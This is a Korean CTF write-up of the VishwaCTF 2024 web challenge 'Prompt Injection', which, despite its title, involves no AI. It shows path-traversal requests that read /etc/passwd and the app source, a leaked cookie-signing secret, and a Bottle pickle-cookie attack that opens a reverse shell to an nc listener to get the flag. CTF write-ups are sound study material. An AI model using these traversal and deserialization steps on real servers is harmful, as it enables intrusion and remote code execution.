[CTF Writeup / Web] VishwaCTF 2024 - Prompt Injection

 


Prompt Injection

I have this collection of poems and whenever I am happy I have a look at them, hope you like it.


메인화면. 링크 3개가 제공된다. 가장 위 Spring을 선택하면 아래 시가 나온다.


Sound the Flute!

Now it's mute.

Birds delight

Day and Night.

Nightingale

In the dale

Lark in Sky

Merrily

Merrily Merrily to welcome in the Year.

Little Boy

Full of joy.

Little Girl

Sweet and small.

Cock does crow,

So do you.

Merry voice,

Infant noise,

Merrily Merrily to welcome in the Year.

Little Lamb,

Here I am,

Come and lick

My white neck.

Let me pull

Your soft Wool.

Let me kiss

Your soft face.

Merrily Merrily we welcome in the Year.


여기서 살펴볼 것은 주소다.

https://ch681266152992.ch.eng.run/show?id=spring.txt

id 파라미터로 spring.txt를 가져온다.



./spring.txt도 동일한 결과를 가져온다.

LFI가 가능하므로 서버를 탐색했다. 다음 순서대로 진행했다.

/show?id=../../../../etc/passwd

/show?id=../../../etc/passwd

/show?id=../../etc/passwd

/show?id=../etc/passwd  --> fail


/show?id=../poems/spring.txt

/show?id=/app/poems/spring.txt

/show?id=/app/app.py


app.py 파일을 찾을 수 있었고, 열람해보니 다음과 같은 코드가 존재했다.



from bottle import route, run, template, request, response, error
from config.secret import Vishwa
import os
import re


@route("/")
def home():
    return template("index")


@route("/show")
def index():
    response.content_type = "text/plain; charset=UTF-8"
    param = request.query.id
    if re.search("^../app", param):
        return "No!!!!"
    requested_path = os.path.join(os.getcwd() + "/poems", param)
    try:
        with open(requested_path) as f:
            tfile = f.read()
    except Exception as e:
        return "No This Poems"
    return tfile


@error(404)
def error404(error):
    return template("error")


@route("/sign")
def index():
    try:
        session = request.get_cookie("name", secret=Vishwa)
        if not session or session["name"] == "guest":
            session = {"name": "guest"}
            response.set_cookie("name", session, secret=Vishwa)
            return template("guest", name=session["name"])
        if session["name"] == "admin":
            return template("admin", name=session["name"])
    except:
        return "pls no hax"


if __name__ == "__main__":
    os.chdir(os.path.dirname(__file__))
    run(host="0.0.0.0", port=80)


config/secret.py에 접근하여 쿠키 암호화에 사용되는 키값도 찾을 수 있었다.



Vishwa = "trrrrrrrrrrrrryyyyyyyyyyyharddddddddd"


template() 메소드로 렌더링하는 것을 확인했고, bottle 웹 프레임워크의 기본 template 디렉토리인 /views/에 접근해서 admin.html과 index.html를 살펴봤지만 별 수확은 없었다.

flask 관점이지만 크게 다르지 않을 거라고 생각했고, 현재 상황에서 SSTI 포인트는 찾을 수 없었다. 새로운 접근이 필요했다.


검색을 하다가 아래 블로그를 발견했다.

https://www.cjxol.com/posts/sekaictf-2022-writeup/


문제가 너무 똑같아서 당황스러웠다.

bottle이라는 웹 프레임워크가 내부적으로 pickle을 사용하고, 이 부분에 대한 보안 권고 사항이 있다고 한다. 이를 이용해서 pickle 공격 페이로드를 작성할 수 있다.


블로그에 있던 페이로드를 복붙한 뒤, 개인 서버에 nc를 열었다.

서버 정보를 페이로드에 넣고, 실행해서 나온 쿠키값을 브라우저에 삽입했고,

/sign 페이지에 접근하자 쉘을 딸 수 있었다.


$ sudo nc -lvp 80

Listening on 0.0.0.0 80

$ cd /

$ ls

app  boot  etc home  lib64  mnt  proc  run   srv  tmp  var

bin  dev   flag  lib   media  opt  root  sbin  sys  usr

$ cat flag

cat flag

cat: flag: Permission denied

$ ./flag

./flag

flag{W3lcome_t0_p03m_p0ck3t}






댓글